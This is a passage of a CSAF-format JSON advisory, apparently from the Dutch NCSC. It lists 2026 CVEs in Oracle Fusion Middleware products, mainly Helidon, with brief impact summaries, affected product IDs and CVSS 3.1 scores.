"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70908"
},
{
"cve": "CVE-2026-70923",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70923 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70923.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70923"
},
{
"cve": "CVE-2026-70924",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to compromise system confidentiality, integrity, and availability via HTTPS, with a CVSS 3.1 score of 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70924 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70924.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70924"
},
{
"cve": "CVE-2026-70970",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70970 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70970.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70970"
},
{
"cve": "CVE-2026-71029",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to potentially access critical or all Helidon data, with a CVSS 3.1 base score of 6.8 indicating moderate confidentiality impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71029 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71029.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71029"
},
{
"cve": "CVE-2026-71065",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71065 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71065.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71065"
},
{
"cve": "CVE-2026-71074",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.18 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71074 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71074.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71074"
},
{
"cve": "CVE-2026-71110",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows low-privileged attackers with HTTPS network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.1 indicating high confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71110 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71110.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71110"
},
{
"cve": "CVE-2026-71111",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with infrastructure access to fully compromise the system, with a CVSS 3.1 base score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71111 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71111.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71111"
},
{
"cve": "CVE-2026-71124",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Access Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access to cause a partial denial of service, rated with a CVSS 3.1 base score of 4.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71124 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71124.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71124"
},
{
"cve": "CVE-2026-71152",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware Helidon 4.5.0 with a CVSS 3.1 base score of 9.8 allows full system compromise via HTTP.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71152 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71152.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71152"
},
{
"cve": "CVE-2026-71153",
"notes": [
{
"category": "description",
"text": "A denial of service vulnerability in Oracle Fusion Middleware\u0027s Helidon 1.4.20 allows unauthenticated attackers with HTTP access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71153 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71153.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71153"
},
{
"cve": "CVE-2026-71154",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with infrastructure access to compromise the system, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71154 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71154.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71154"
},
{
"cve": "CVE-2026-71155",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows low-privileged attackers with HTTP network access to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71155 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71155.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71155"
},
{
"cve": "CVE-2026-71156",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, rated with a CVSS 3.1 base score of 5.3 indicating an integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71156 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71156.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71156"
},
{
"cve": "CVE-2026-71157",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71157 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71157.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71157"
},
{
"cve": "CVE-2026-71158",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71158 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71158.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71158"
},
{
"cve": "CVE-2026-71159",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71159 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71159.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71159"
},
{
"cve": "CVE-2026-71160",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows low-privileged attackers with HTTP network access to potentially compromise system confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71160 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71160.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71160"
},
{
"cve": "CVE-2026-71161",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to cause a partial denial of service via HTTP, with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71161 | NCSC-NL Website",
